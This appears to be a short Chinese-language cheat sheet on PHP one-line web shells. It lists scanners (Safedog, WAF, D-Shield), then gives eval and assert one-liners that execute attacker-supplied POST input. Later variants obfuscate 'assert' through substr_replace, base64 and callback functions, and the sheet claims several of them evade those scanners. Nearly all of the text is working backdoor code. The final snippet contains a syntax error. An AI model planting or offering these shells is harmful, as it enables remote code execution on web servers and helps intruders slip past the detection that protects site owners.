一句话检测工具:
- 安全狗
- Waf
- D盾
构造一句话经典函数eval和assert:
Eval
函数中参数是字符。
<?php eval($_POST['zjj']);?>
Assert
函数中参数是表达式或函数。
<?php assert($_POST['zjj']);?>
<?php $_POST['a']($_POST['b']);?>//输入?a=assert执行命令
<?php
$a = substr_replace("assexx","rt",4);
$a($_POST['x']);
?>
<?php
$a = base64_decode($_GET['id']);
$a($_POST['x']);
?>//输入?id=YXNzZXJ0
借助回调函数实现一句话:
<?php
array_map(assert,array($_POST['x']));
?>
常用回调函数:
以上方法及使用回调函数均可被查杀工具查杀。
以下方法均可逃过查杀工具查杀。
绕过回调函数检测:定义函数
<?php
function test($a,$b){
array_map($a,$b);
}
test(assert,array($_POST['x']));
?>
特殊干扰逃过检测:
<?php
$a = $_POST['a'];
$b = " ";
eval($b.=$a);
?>
利用数组执行绕过检测:
<?php
$b = substr_replace("assexx","rt",4);
$a = array($arrayName = array('a' = >
$b($_POST['q'])));
?>